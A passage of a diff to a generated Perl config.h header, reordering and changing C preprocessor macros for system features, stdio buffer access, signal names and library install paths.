HAS_LONG_LONG: - * This symbol will be defined if the C compiler supports long long. +/* STDIO_PTR_LVAL_SETS_CNT: + * This symbol is defined if using the FILE_ptr macro as an lvalue + * to increase the pointer by n has the side effect of decreasing the + * value of File_cnt(fp) by n. */ -/* LONGLONGSIZE: - * This symbol contains the size of a long long, so that the - * C preprocessor can make decisions based on it. It is only - * defined if the system supports long long. +/* STDIO_PTR_LVAL_NOCHANGE_CNT: + * This symbol is defined if using the FILE_ptr macro as an lvalue + * to increase the pointer by n leaves File_cnt(fp) unchanged. */ -#define HAS_LONG_LONG /**/ -#ifdef HAS_LONG_LONG -#define LONGLONGSIZE 8 /**/ +#define USE_STDIO_PTR /**/ +#ifdef USE_STDIO_PTR +#define FILE_ptr(fp) ((fp)->_IO_read_ptr) +#define STDIO_PTR_LVALUE /**/ +#define FILE_cnt(fp) ((fp)->_IO_read_end - (fp)->_IO_read_ptr) +/*#define STDIO_CNT_LVALUE / **/ +#define STDIO_PTR_LVAL_SETS_CNT /**/ +/*#define STDIO_PTR_LVAL_NOCHANGE_CNT / **/ #endif -/* HAS_MKSTEMP: - * This symbol, if defined, indicates that the mkstemp routine is - * available to exclusively create and open a uniquely named - * temporary file. - */ -#define HAS_MKSTEMP /**/ - -/* HAS_MMAP: - * This symbol, if defined, indicates that the mmap system call is - * available to map a file into memory. - */ -/* Mmap_t: - * This symbol holds the return type of the mmap() system call - * (and simultaneously the type of the first argument). - * Usually set to 'void *' or 'caddr_t'. - */ -#define HAS_MMAP /**/ -#define Mmap_t void * /**/ - -/* HAS_SETGRENT: - * This symbol, if defined, indicates that the setgrent routine is - * available for initializing sequential access of the group database. - */ -#define HAS_SETGRENT /**/ - -/* HAS_SETHOSTENT: - * This symbol, if defined, indicates that the sethostent() routine is - * available. - */ -#define HAS_SETHOSTENT /**/ - -/* HAS_SETNETENT: - * This symbol, if defined, indicates that the setnetent() routine is - * available. - */ -#define HAS_SETNETENT /**/ - -/* HAS_SETPROTOENT: - * This symbol, if defined, indicates that the setprotoent() routine is - * available. - */ -#define HAS_SETPROTOENT /**/ - -/* HAS_SETPGRP: - * This symbol, if defined, indicates that the setpgrp routine is - * available to set the current process group. - */ -/* USE_BSD_SETPGRP: - * This symbol, if defined, indicates that setpgrp needs two - * arguments whereas USG one needs none. See also HAS_SETPGID - * for a POSIX interface. - */ -#define HAS_SETPGRP /**/ -/*#define USE_BSD_SETPGRP / **/ - -/* HAS_SETPWENT: - * This symbol, if defined, indicates that the setpwent routine is - * available for initializing sequential access of the passwd database. - */ -#define HAS_SETPWENT /**/ - -/* HAS_SETSERVENT: - * This symbol, if defined, indicates that the setservent() routine is - * available. - */ -#define HAS_SETSERVENT /**/ - -/* HAS_SETVBUF: - * This symbol, if defined, indicates that the setvbuf routine is - * available to change buffering on an open stdio stream. - * to a line-buffered mode. - */ -#define HAS_SETVBUF /**/ - -/* HAS_SHM: - * This symbol, if defined, indicates that the entire shm*(2) library is - * supported. - */ -#define HAS_SHM /**/ - -/* Shmat_t: - * This symbol holds the return type of the shmat() system call. - * Usually set to 'void *' or 'char *'. - */ -/* HAS_SHMAT_PROTOTYPE: - * This symbol, if defined, indicates that the sys/shm.h includes - * a prototype for shmat(). Otherwise, it is up to the program to - * guess one. Shmat_t shmat(int, Shmat_t, int) is a good guess, - * but not always right so it should be emitted by the program only - * when HAS_SHMAT_PROTOTYPE is not defined to avoid conflicting defs. - */ -#define Shmat_t void * /**/ -#define HAS_SHMAT_PROTOTYPE /**/ - -/* HAS_SOCKET: - * This symbol, if defined, indicates that the BSD socket interface is - * supported. - */ -/* HAS_SOCKETPAIR: - * This symbol, if defined, indicates that the BSD socketpair() call is - * supported. - */ -/* HAS_SOCKADDR_SA_LEN: - * This symbol, if defined, indicates that the struct sockaddr - * structure has a member called sa_len, indicating the length of - * the structure. - */ -/* HAS_SOCKADDR_IN6: - * This symbol, if defined, indicates the availability of - * struct sockaddr_in6; - */ -/* HAS_SIN6_SCOPE_ID: - * This symbol, if defined, indicates that the struct sockaddr_in6 - * structure has a member called sin6_scope_id. - */ -/* HAS_IP_MREQ: - * This symbol, if defined, indicates the availability of - * struct ip_mreq; - */ -/* HAS_IP_MREQ_SOURCE: - * This symbol, if defined, indicates the availability of - * struct ip_mreq_source; +/* USE_STDIO_BASE: + * This symbol is defined if the _base field (or similar) of the + * stdio FILE structure can be used to access the stdio buffer for + * a file handle. If this is defined, then the FILE_base(fp) macro + * will also be defined and should be used to access this field. + * Also, the FILE_bufsiz(fp) macro will be defined and should be used + * to determine the number of bytes in the buffer. USE_STDIO_BASE + * will never be defined unless USE_STDIO_PTR is. */ -/* HAS_IPV6_MREQ: - * This symbol, if defined, indicates the availability of - * struct ipv6_mreq; - */ -/* HAS_IPV6_MREQ_SOURCE: - * This symbol, if defined, indicates the availability of - * struct ipv6_mreq_source; - */ -#define HAS_SOCKET /**/ -#define HAS_SOCKETPAIR /**/ -/*#define HAS_SOCKADDR_SA_LEN / **/ -#define HAS_SOCKADDR_IN6 /**/ -#define HAS_SIN6_SCOPE_ID /**/ -#define HAS_IP_MREQ /**/ -#define HAS_IP_MREQ_SOURCE /**/ -#define HAS_IPV6_MREQ /**/ -/*#define HAS_IPV6_MREQ_SOURCE / **/ - -/* USE_STAT_BLOCKS: - * This symbol is defined if this system has a stat structure declaring - * st_blksize and st_blocks. - */ -#ifndef USE_STAT_BLOCKS -#define USE_STAT_BLOCKS /**/ -#endif - -/* HAS_SYS_ERRLIST: - * This symbol, if defined, indicates that the sys_errlist array is - * available to translate error numbers to strings. The extern int - * sys_nerr gives the size of that table. - */ -#define HAS_SYS_ERRLIST /**/ - -/* HAS_STRTOUL: - * This symbol, if defined, indicates that the strtoul routine is - * available to provide conversion of strings to unsigned long. - */ -#define HAS_STRTOUL /**/ - -/* HAS_UNION_SEMUN: - * This symbol, if defined, indicates that the union semun is - * defined by including . If not, the user code - * probably needs to define it as: - * union semun { - * int val; - * struct semid_ds *buf; - * unsigned short *array; - * } - */ -/* USE_SEMCTL_SEMUN: - * This symbol, if defined, indicates that union semun is - * used for semctl IPC_STAT. - */ -/* USE_SEMCTL_SEMID_DS: - * This symbol, if defined, indicates that struct semid_ds * is - * used for semctl IPC_STAT. - */ -/*#define HAS_UNION_SEMUN / **/ -#define USE_SEMCTL_SEMUN /**/ -#define USE_SEMCTL_SEMID_DS /**/ - -/* HAS_VFORK: - * This symbol, if defined, indicates that vfork() exists. - */ -/*#define HAS_VFORK / **/ - -/* HAS_PSEUDOFORK: - * This symbol, if defined, indicates that an emulation of the - * fork routine is available. - */ -/*#define HAS_PSEUDOFORK / **/ - -/* Signal_t: - * This symbol's value is either "void" or "int", corresponding to the - * appropriate return type of a signal handler. Thus, you can declare - * a signal handler using "Signal_t (*handler)()", and define the - * handler using "Signal_t handler(sig)". - */ -#define Signal_t void /* Signal handler's return type */ - -/* I_DIRENT: - * This symbol, if defined, indicates to the C program that it should - * include . Using this symbol also triggers the definition - * of the Direntry_t define which ends up being 'struct dirent' or - * 'struct direct' depending on the availability of . - */ -/* DIRNAMLEN: - * This symbol, if defined, indicates to the C program that the length - * of directory entry names is provided by a d_namlen field. Otherwise - * you need to do strlen() on the d_name field. - */ -/* Direntry_t: - * This symbol is set to 'struct direct' or 'struct dirent' depending on - * whether dirent is available or not. You should use this pseudo type to - * portably declare your directory entries. - */ -#define I_DIRENT /**/ -/*#define DIRNAMLEN / **/ -#define Direntry_t struct dirent - -/* I_EXECINFO: - * This symbol, if defined, indicates to the C program that it should - * include for backtrace() support. - */ -#define I_EXECINFO /**/ - -/* I_GRP: - * This symbol, if defined, indicates to the C program that it should - * include . - */ -/* GRPASSWD: - * This symbol, if defined, indicates to the C program that struct group - * in contains gr_passwd. - */ -#define I_GRP /**/ -#define GRPASSWD /**/ - -/* I_NDBM: - * This symbol, if defined, indicates that exists and should - * be included. - */ -/* I_GDBMNDBM: - * This symbol, if defined, indicates that exists and should - * be included. This was the location of the ndbm.h compatibility file - * in RedHat 7.1. - */ -/* I_GDBM_NDBM: - * This symbol, if defined, indicates that exists and should - * be included. This is the location of the ndbm.h compatibility file - * in Debian 4.0. - */ -/* NDBM_H_USES_PROTOTYPES: - * This symbol, if defined, indicates that uses real ANSI C - * prototypes instead of K&R style function declarations without any - * parameter information. While ANSI C prototypes are supported in C++, - * K&R style function declarations will yield errors. - */ -/* GDBMNDBM_H_USES_PROTOTYPES: - * This symbol, if defined, indicates that uses real ANSI C - * prototypes instead of K&R style function declarations without any - * parameter information. While ANSI C prototypes are supported in C++, - * K&R style function declarations will yield errors. - */ -/* GDBM_NDBM_H_USES_PROTOTYPES: - * This symbol, if defined, indicates that uses real ANSI C - * prototypes instead of K&R style function declarations without any - * parameter information. While ANSI C prototypes are supported in C++, - * K&R style function declarations will yield errors. - */ -/*#define I_NDBM / **/ -/*#define I_GDBMNDBM / **/ -#define I_GDBM_NDBM /**/ -/*#define NDBM_H_USES_PROTOTYPES / **/ -/*#define GDBMNDBM_H_USES_PROTOTYPES / **/ -/*#define GDBM_NDBM_H_USES_PROTOTYPES / **/ - -/* I_NETDB: - * This symbol, if defined, indicates that exists and - * should be included. - */ -#define I_NETDB /**/ - -/* I_NET_ERRNO: - * This symbol, if defined, indicates that exists and - * should be included. - */ -/*#define I_NET_ERRNO / **/ - -/* I_PWD: - * This symbol, if defined, indicates to the C program that it should - * include . - */ -/* PWQUOTA: - * This symbol, if defined, indicates to the C program that struct passwd - * contains pw_quota. - */ -/* PWAGE: - * This symbol, if defined, indicates to the C program that struct passwd - * contains pw_age. - */ -/* PWCHANGE: - * This symbol, if defined, indicates to the C program that struct passwd - * contains pw_change. - */ -/* PWCLASS: - * This symbol, if defined, indicates to the C program that struct passwd - * contains pw_class. - */ -/* PWEXPIRE: - * This symbol, if defined, indicates to the C program that struct passwd - * contains pw_expire. - */ -/* PWCOMMENT: - * This symbol, if defined, indicates to the C program that struct passwd - * contains pw_comment. - */ -/* PWGECOS: - * This symbol, if defined, indicates to the C program that struct passwd - * contains pw_gecos. - */ -/* PWPASSWD: - * This symbol, if defined, indicates to the C program that struct passwd - * contains pw_passwd. - */ -#define I_PWD /**/ -/*#define PWQUOTA / **/ -/*#define PWAGE / **/ -/*#define PWCHANGE / **/ -/*#define PWCLASS / **/ -/*#define PWEXPIRE / **/ -/*#define PWCOMMENT / **/ -#define PWGECOS /**/ -#define PWPASSWD /**/ - -/* I_SYSUIO: - * This symbol, if defined, indicates that exists and - * should be included. - */ -#define I_SYSUIO /**/ - -/* I_TERMIO: - * This symbol, if defined, indicates that the program should include - * rather than . There are also differences in - * the ioctl() calls that depend on the value of this symbol. - */ -/* I_TERMIOS: - * This symbol, if defined, indicates that the program should include - * the POSIX termios.h rather than sgtty.h or termio.h. - * There are also differences in the ioctl() calls that depend on the - * value of this symbol. - */ -/* I_SGTTY: - * This symbol, if defined, indicates that the program should include - * rather than . There are also differences in - * the ioctl() calls that depend on the value of this symbol. - */ -/*#define I_TERMIO / **/ -#define I_TERMIOS /**/ -/*#define I_SGTTY / **/ - -/* Free_t: - * This variable contains the return type of free(). It is usually - * void, but occasionally int. - */ -/* Malloc_t: - * This symbol is the type of pointer returned by malloc and realloc. - */ -#define Malloc_t void * /**/ -#define Free_t void /**/ - -/* PERL_MALLOC_WRAP: - * This symbol, if defined, indicates that we'd like malloc wrap checks. - */ -#define PERL_MALLOC_WRAP /**/ - -/* MYMALLOC: - * This symbol, if defined, indicates that we're using our own malloc. - */ -/*#define MYMALLOC / **/ - -/* SH_PATH: - * This symbol contains the full pathname to the shell used on this - * on this system to execute Bourne shell scripts. Usually, this will be - * /bin/sh, though it's possible that some systems will have /bin/ksh, - * /bin/pdksh, /bin/ash, /bin/bash, or even something such as - * D:/bin/sh.exe. - */ -#define SH_PATH "/bin/sh" /**/ - -/* SIG_NAME: - * This symbol contains a list of signal names in order of - * signal number. This is intended - * to be used as a static array initialization, like this: - * char *sig_name[] = { SIG_NAME }; - * The signals in the list are separated with commas, and each signal - * is surrounded by double quotes. There is no leading SIG in the signal - * name, i.e. SIGQUIT is known as "QUIT". - * Gaps in the signal numbers (up to NSIG) are filled in with NUMnn, - * etc., where nn is the actual signal number (e.g. NUM37). - * The signal number for sig_name[i] is stored in sig_num[i]. - * The last element is 0 to terminate the list with a NULL. This - * corresponds to the 0 at the end of the sig_name_init list. - * Note that this variable is initialized from the sig_name_init, - * not from sig_name (which is unused). - */ -/* SIG_NUM: - * This symbol contains a list of signal numbers, in the same order as the - * SIG_NAME list. It is suitable for static array initialization, as in: - * int sig_num[] = { SIG_NUM }; - * The signals in the list are separated with commas, and the indices - * within that list and the SIG_NAME list match, so it's easy to compute - * the signal name from a number or vice versa at the price of a small - * dynamic linear lookup. - * Duplicates are allowed, but are moved to the end of the list. - * The signal number corresponding to sig_name[i] is sig_number[i]. - * if (i < NSIG) then sig_number[i] == i. - * The last element is 0, corresponding to the 0 at the end of - * the sig_name_init list. - * Note that this variable is initialized from the sig_num_init, - * not from sig_num (which is unused). - */ -/* SIG_SIZE: - * This variable contains the number of elements of the SIG_NAME - * and SIG_NUM arrays, excluding the final NULL entry. - */ -#define SIG_NAME "ZERO", "HUP", "INT", "QUIT", "ILL", "TRAP", "ABRT", "BUS", "FPE", "KILL", "USR1", "SEGV", "USR2", "PIPE", "ALRM", "TERM", "STKFLT", "CHLD", "CONT", "STOP", "TSTP", "TTIN", "TTOU", "URG", "XCPU", "XFSZ", "VTALRM", "PROF", "WINCH", "IO", "PWR", "SYS", "NUM32", "NUM33", "RTMIN", "NUM35", "NUM36", "NUM37", "NUM38", "NUM39", "NUM40", "NUM41", "NUM42", "NUM43", "NUM44", "NUM45", "NUM46", "NUM47", "NUM48", "NUM49", "NUM50", "NUM51", "NUM52", "NUM53", "NUM54", "NUM55", "NUM56", "NUM57", "NUM58", "NUM59", "NUM60", "NUM61", "NUM62", "NUM63", "RTMAX", "IOT", "CLD", "POLL", "UNUSED", 0 /**/ -#define SIG_NUM 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 6, 17, 29, 31, 0 /**/ -#define SIG_SIZE 69 /**/ - -/* USE_CROSS_COMPILE: - * This symbol, if defined, indicates that Perl is being cross-compiled. +/* FILE_base: + * This macro is used to access the _base field (or equivalent) of the + * FILE structure pointed to by its argument. This macro will always be + * defined if USE_STDIO_BASE is defined. */ -/* PERL_TARGETARCH: - * This symbol, if defined, indicates the target architecture - * Perl has been cross-compiled to. Undefined if not a cross-compile. +/* FILE_bufsiz: + * This macro is used to determine the number of bytes in the I/O + * buffer pointed to by _base field (or equivalent) of the FILE + * structure pointed to its argument. This macro will always be defined + * if USE_STDIO_BASE is defined. */ -#ifndef USE_CROSS_COMPILE -/*#define USE_CROSS_COMPILE / **/ -#define PERL_TARGETARCH "" /**/ +#define USE_STDIO_BASE /**/ +#ifdef USE_STDIO_BASE +#define FILE_base(fp) ((fp)->_IO_read_base) +#define FILE_bufsiz(fp) ((fp)->_IO_read_end - (fp)->_IO_read_base) #endif -/* PERL_USE_DEVEL: - * This symbol, if defined, indicates that Perl was configured with - * -Dusedevel, to enable development features. This should not be - * done for production builds. +/* HAS_STRERROR_R: + * This symbol, if defined, indicates that the strerror_r routine + * is available to strerror re-entrantly. */ -#define PERL_USE_DEVEL /**/ - -/* HAS_ATOLF: - * This symbol, if defined, indicates that the atolf routine is - * available to convert strings into long doubles. +/* STRERROR_R_PROTO: + * This symbol encodes the prototype of strerror_r. + * It is zero if d_strerror_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r + * is defined. */ -/*#define HAS_ATOLF / **/ +/*#define HAS_STRERROR_R / **/ +#define STRERROR_R_PROTO 0 /**/ -/* HAS_ATOLL: - * This symbol, if defined, indicates that the atoll routine is - * available to convert strings into long longs. +/* HAS_TMPNAM_R: + * This symbol, if defined, indicates that the tmpnam_r routine + * is available to tmpnam re-entrantly. */ -#define HAS_ATOLL /**/ - -/* HAS__FWALK: - * This symbol, if defined, indicates that the _fwalk system call is - * available to apply a function to all the file handles. +/* TMPNAM_R_PROTO: + * This symbol encodes the prototype of tmpnam_r. + * It is zero if d_tmpnam_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r + * is defined. */ -/*#define HAS__FWALK / **/ +/*#define HAS_TMPNAM_R / **/ +#define TMPNAM_R_PROTO 0 /**/ -/* HAS_ACCEPT4: - * This symbol, if defined, indicates that the accept4 - * system call is available to accept socket connections. +/* HAS_TTYNAME_R: + * This symbol, if defined, indicates that the ttyname_r routine + * is available to ttyname re-entrantly. */ -#define HAS_ACCEPT4 /**/ - -/* HAS_ACOSH: - * This symbol, if defined, indicates that the acosh routine is - * available to do the inverse hyperbolic cosine function. +/* TTYNAME_R_PROTO: + * This symbol encodes the prototype of ttyname_r. + * It is zero if d_ttyname_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r + * is defined. */ -#define HAS_ACOSH /**/ +/*#define HAS_TTYNAME_R / **/ +#define TTYNAME_R_PROTO 0 /**/ -/* HAS_AINTL: - * This symbol, if defined, indicates that the aintl routine is - * available. If copysignl is also present we can emulate modfl. +/* HAS_VPRINTF: + * This symbol, if defined, indicates that the vprintf routine is available + * to printf with a pointer to an argument list. If unavailable, you + * may need to write your own, probably in terms of _doprnt(). */ -/*#define HAS_AINTL / **/ +/* USE_CHAR_VSPRINTF: + * This symbol is defined if this system has vsprintf() returning type + * (char*). The trend seems to be to declare it as "int vsprintf()". It + * is up to the package author to declare vsprintf correctly based on the + * symbol. + */ +#define HAS_VPRINTF /**/ +/*#define USE_CHAR_VSPRINTF / **/ -/* HAS_ASINH: - * This symbol, if defined, indicates that the asinh routine is - * available to do the inverse hyperbolic sine function. +/* DOUBLESIZE: + * This symbol contains the size of a double, so that the C preprocessor + * can make decisions based on it. */ -#define HAS_ASINH /**/ +#define DOUBLESIZE 8 /**/ -/* HAS_ATANH: - * This symbol, if defined, indicates that the atanh routine is - * available to do the inverse hyperbolic tangent function. +/* I_MACH_CTHREADS: + * This symbol, if defined, indicates to the C program that it should + * include . */ -#define HAS_ATANH /**/ +/*#define I_MACH_CTHREADS / **/ -/* HAS_BUILTIN_CHOOSE_EXPR: - * Can we handle GCC builtin for compile-time ternary-like expressions +/* I_PTHREAD: + * This symbol, if defined, indicates to the C program that it should + * include . */ -/* HAS_BUILTIN_EXPECT: - * Can we handle GCC builtin for telling that certain values are more - * likely +#define I_PTHREAD /**/ + +/* I_SYS_ACCESS: + * This symbol, if defined, indicates to the C program that it should + * include . */ -#define HAS_BUILTIN_EXPECT /**/ -#define HAS_BUILTIN_CHOOSE_EXPR /**/ +/*#define I_SYS_ACCESS / **/ -/* HAS_BUILTIN_ADD_OVERFLOW: - * This symbol, if defined, indicates that the compiler supports - * __builtin_add_overflow for adding integers with overflow checks. +/* I_SYS_SECURITY: + * This symbol, if defined, indicates to the C program that it should + * include . */ -/* HAS_BUILTIN_SUB_OVERFLOW: - * This symbol, if defined, indicates that the compiler supports - * __builtin_sub_overflow for subtracting integers with overflow checks. +/*#define I_SYS_SECURITY / **/ + +/* I_TIME: + * This symbol, if defined, indicates to the C program that it should + * include . */ -/* HAS_BUILTIN_MUL_OVERFLOW: - * This symbol, if defined, indicates that the compiler supports - * __builtin_mul_overflow for multiplying integers with overflow checks. +/* I_SYS_TIME: + * This symbol, if defined, indicates to the C program that it should + * include . */ -/*#define HAS_BUILTIN_ADD_OVERFLOW / **/ -/*#define HAS_BUILTIN_SUB_OVERFLOW / **/ -/*#define HAS_BUILTIN_MUL_OVERFLOW / **/ - -/* HAS_C99_VARIADIC_MACROS: - * If defined, the compiler supports C99 variadic macros. +/* I_SYS_TIME_KERNEL: + * This symbol, if defined, indicates to the C program that it should + * include with KERNEL defined. */ -#define HAS_C99_VARIADIC_MACROS /**/ - -/* HAS_CLASS: - * This symbol, if defined, indicates that the class routine is - * available to classify doubles. Available for example in AIX. - * The returned values are defined in and are: - * - * FP_PLUS_NORM Positive normalized, nonzero - * FP_MINUS_NORM Negative normalized, nonzero - * FP_PLUS_DENORM Positive denormalized, nonzero - * FP_MINUS_DENORM Negative denormalized, nonzero - * FP_PLUS_ZERO +0.0 - * FP_MINUS_ZERO -0.0 - * FP_PLUS_INF +INF - * FP_MINUS_INF -INF - * FP_NANS Signaling Not a Number (NaNS) - * FP_NANQ Quiet Not a Number (NaNQ) +/* HAS_TM_TM_ZONE: + * This symbol, if defined, indicates to the C program that + * the struct tm has a tm_zone field. */ -/*#define HAS_CLASS / **/ - -/* HAS_CLEARENV: - * This symbol, if defined, indicates that the clearenv () routine is - * available for use. +/* HAS_TM_TM_GMTOFF: + * This symbol, if defined, indicates to the C program that + * the struct tm has a tm_gmtoff field. */ -#define HAS_CLEARENV /**/ +#define I_TIME /**/ +#define I_SYS_TIME /**/ +/*#define I_SYS_TIME_KERNEL / **/ +#define HAS_TM_TM_ZONE /**/ +#define HAS_TM_TM_GMTOFF /**/ -/* HAS_STRUCT_CMSGHDR: - * This symbol, if defined, indicates that the struct cmsghdr - * is supported. +/* PERL_INC_VERSION_LIST: + * This variable specifies the list of subdirectories in over + * which perl.c:incpush() and lib/lib.pm will automatically + * search when adding directories to @INC, in a format suitable + * for a C initialization string. See the inc_version_list entry + * in Porting/Glossary for more details. */ -#define HAS_STRUCT_CMSGHDR /**/ +/*#define PERL_INC_VERSION_LIST 0 / **/ -/* HAS_COPYSIGN: - * This symbol, if defined, indicates that the copysign routine is - * available to do the copysign function. +/* INSTALL_USR_BIN_PERL: + * This symbol, if defined, indicates that Perl is to be installed + * also as /usr/bin/perl. */ -#define HAS_COPYSIGN /**/ +/*#define INSTALL_USR_BIN_PERL / **/ -/* HAS_COPYSIGNL: - * This symbol, if defined, indicates that the copysignl routine is - * available. If aintl is also present we can emulate modfl. +/* VAL_O_NONBLOCK: + * This symbol is to be used during open() or fcntl(F_SETFL) to turn on + * non-blocking I/O for the file descriptor. Note that there is no way + * back, i.e. you cannot turn it blocking again this way. If you wish to + * alternatively switch between blocking and non-blocking, use the + * ioctl(FIOSNBIO) call instead, but that is not supported by all devices. */ -#define HAS_COPYSIGNL /**/ - -/* USE_CPLUSPLUS: - * This symbol, if defined, indicates that a C++ compiler was - * used to compiled Perl and will be used to compile extensions. +/* VAL_EAGAIN: + * This symbol holds the errno error code set by read() when no data was + * present on the non-blocking file descriptor. */ -/*#define USE_CPLUSPLUS / **/ - -/* HAS_DBMINIT_PROTO: - * This symbol, if defined, indicates that the system provides - * a prototype for the dbminit() function. Otherwise, it is up - * to the program to supply one. A good guess is - * extern int dbminit(char *); +/* RD_NODATA: + * This symbol holds the return code from read() when no data is present + * on the non-blocking file descriptor. Be careful! If EOF_NONBLOCK is + * not defined, then you can't distinguish between no data and EOF by + * issuing a read(). You'll have to find another way to tell for sure! */ -#define HAS_DBMINIT_PROTO /**/ - -/* HAS_DIR_DD_FD: - * This symbol, if defined, indicates that the the DIR* dirstream - * structure contains a member variable named dd_fd. +/* EOF_NONBLOCK: + * This symbol, if defined, indicates to the C program that a read() on + * a non-blocking file descriptor will return 0 on EOF, and not the value + * held in RD_NODATA (-1 usually, in that case!). */ -/*#define HAS_DIR_DD_FD / **/ +#define VAL_O_NONBLOCK O_NONBLOCK +#define VAL_EAGAIN EAGAIN +#define RD_NODATA -1 +#define EOF_NONBLOCK -/* HAS_DIRFD: - * This manifest constant lets the C program know that dirfd - * is available. +/* PERL_OTHERLIBDIRS: + * This variable contains a colon-separated set of paths for the perl + * binary to search for additional library files or modules. + * These directories will be tacked to the end of @INC. + * Perl will automatically search below each path for version- + * and architecture-specific directories. See PERL_INC_VERSION_LIST + * for more details. */ -#define HAS_DIRFD /**/ +/*#define PERL_OTHERLIBDIRS " " / **/ -/* DLSYM_NEEDS_UNDERSCORE: - * This symbol, if defined, indicates that we need to prepend an - * underscore to the symbol name before calling dlsym(). This only - * makes sense if you *have* dlsym, which we will presume is the - * case if you're using dl_dlopen.xs. +/* PRIVLIB: + * This symbol contains the name of the private library for this package. + * The library is private in the sense that it needn't be in anyone's + * execution path, but it should be accessible by the world. The program + * should be prepared to do ~ expansion. */ -/*#define DLSYM_NEEDS_UNDERSCORE / **/ - -/* HAS_DUP3: - * This symbol, if defined, indicates that the dup3 - * system call is available to duplicate file descriptors. +/* PRIVLIB_EXP: + * This symbol contains the ~name expanded version of PRIVLIB, to be used + * in programs that are not prepared to deal with ~ expansion at run-time. */ -#define HAS_DUP3 /**/ +#define PRIVLIB "/pro/lib/perl5/5.26.2" /**/ +#define PRIVLIB_EXP "/pro/lib/perl5/5.26.2" /**/ -/* HAS_ERF: - * This symbol, if defined, indicates that the erf routine is - * available to do the error function. +/* PTRSIZE: + * This symbol contains the size of a pointer, so that the C preprocessor + * can make decisions based on it. It will be sizeof(void *) if + * the compiler supports (void *); otherwise it will be + * sizeof(char *). */ -#define HAS_ERF /**/ +#define PTRSIZE 4 /**/ -/* HAS_ERFC: - * This symbol, if defined, indicates that the erfc routine is - * available to do the complementary error function. +/* Drand01: + * This macro is to be used to generate uniformly distributed + * random numbers over the range [0., 1.[. You may have to supply + * an 'extern double drand48();' in your program since SunOS 4.1.3 + * doesn't provide you with anything relevant in its headers. + * See HAS_DRAND48_PROTO. */ -#define HAS_ERFC /**/ - -/* HAS_EXP2: - * This symbol, if defined, indicates that the exp2 routine is - * available to do the 2**x function. +/* Rand_seed_t: + * This symbol defines the type of the argument of the + * random seed function. */ -#define HAS_EXP2 /**/ - -/* HAS_EXPM1: - * This symbol, if defined, indicates that the expm1 routine is - * available to do the exp(x) - 1 when x is near 1 function. +/* seedDrand01: + * This symbol defines the macro to be used in seeding the + * random number generator (see Drand01). */ -#define HAS_EXPM1 /**/ - -/* HAS_FAST_STDIO: - * This symbol, if defined, indicates that the "fast stdio" - * is available to manipulate the stdio buffers directly. +/* RANDBITS: + * This symbol indicates how many bits are produced by the + * function used to generate normalized random numbers. + * Values include 15, 16, 31, and 48. */ -#define HAS_FAST_STDIO /**/ +#define Drand01() drand48() /**/ +#define Rand_seed_t long /**/ +#define seedDrand01(x) srand48((Rand_seed_t)x) /**/ +#define RANDBITS 48 /**/ -/* HAS_FCHDIR: - * This symbol, if defined, indicates that the fchdir routine is - * available to change directory using a file descriptor. +/* SITEARCH: + * This symbol contains the name of the private library for this package. + * The library is private in the sense that it needn't be in anyone's + * execution path, but it should be accessible by the world. The program + * should be prepared to do ~ expansion. + * The standard distribution will put nothing in this directory. + * After perl has been installed, users may install their own local + * architecture-dependent modules in this directory with + * MakeMaker Makefile.PL + * or equivalent. See INSTALL for details. */ -#define HAS_FCHDIR /**/ - -/* FCNTL_CAN_LOCK: - * This symbol, if defined, indicates that fcntl() can be used - * for file locking. Normally on Unix systems this is defined. - * It may be undefined on VMS. +/* SITEARCH_EXP: + * This symbol contains the ~name expanded version of SITEARCH, to be used + * in programs that are not prepared to deal with ~ expansion at run-time. */ -#define FCNTL_CAN_LOCK /**/ +#define SITEARCH "/pro/lib/perl5/site_perl/5.26.2/i686-linux-64int-ld" /**/ +#define SITEARCH_EXP "/pro/lib/perl5/site_perl/5.26.2/i686-linux-64int-ld" /**/ -/* HAS_FDCLOSE: - * This symbol, if defined, indicates that the fdclose routine is - * available to free a FILE structure without closing the underlying - * file descriptor. This function appeared in FreeBSD 10.2. +/* SITELIB: + * This symbol contains the name of the private library for this package. + * The library is private in the sense that it needn't be in anyone's + * execution path, but it should be accessible by the world. The program + * should be prepared to do ~ expansion. + * The standard distribution will put nothing in this directory. + * After perl has been installed, users may install their own local + * architecture-independent modules in this directory with + * MakeMaker Makefile.PL + * or equivalent. See INSTALL for details. */ -/*#define HAS_FDCLOSE / **/ - -/* HAS_FDIM: - * This symbol, if defined, indicates that the fdim routine is - * available to do the positive difference function. +/* SITELIB_EXP: + * This symbol contains the ~name expanded version of SITELIB, to be used + * in programs that are not prepared to deal with ~ expansion at run-time. */ -#define HAS_FDIM /**/ - -/* HAS_FEGETROUND: - * This symbol, if defined, indicates that the fegetround routine is - * available to return the macro corresponding to the current rounding - * mode. +/* SITELIB_STEM: + * This define is SITELIB_EXP with any trailing version-specific component + * removed. The elements in inc_version_list (inc_version_list.U) can + * be tacked onto this variable to generate a list of directories to search. */ -#define HAS_FEGETROUND /**/ +#define SITELIB "/pro/lib/perl5/site_perl/5.26.2" /**/ +#define SITELIB_EXP "/pro/lib/perl5/site_perl/5.26.2" /**/ +#define SITELIB_STEM "/pro/lib/perl5/site_perl" /**/ -/* HAS_FINITE: - * This symbol, if defined, indicates that the finite routine is - * available to check whether a double is finite (non-infinity non-NaN). +/* SSize_t: + * This symbol holds the type used by functions that return + * a count of bytes or an error condition. It must be a signed type. + * It is usually ssize_t, but may be long or int, etc. + * It may be necessary to include or + * to get any typedef'ed information. + * We will pick a type such that sizeof(SSize_t) == sizeof(Size_t). */ -#define HAS_FINITE /**/ +#define SSize_t ssize_t /* signed count of bytes */ -/* HAS_FINITEL: - * This symbol, if defined, indicates that the finitel routine is - * available to check whether a long double is finite - * (non-infinity non-NaN). +/* USE_ITHREADS: + * This symbol, if defined, indicates that Perl should be built to + * use the interpreter-based threading implementation. */ -#define HAS_FINITEL /**/ - -/* HAS_FLOCK_PROTO: - * This symbol, if defined, indicates that the system provides - * a prototype for the flock() function. Otherwise, it is up - * to the program to supply one. A good guess is - * extern int flock(int, int); +/* 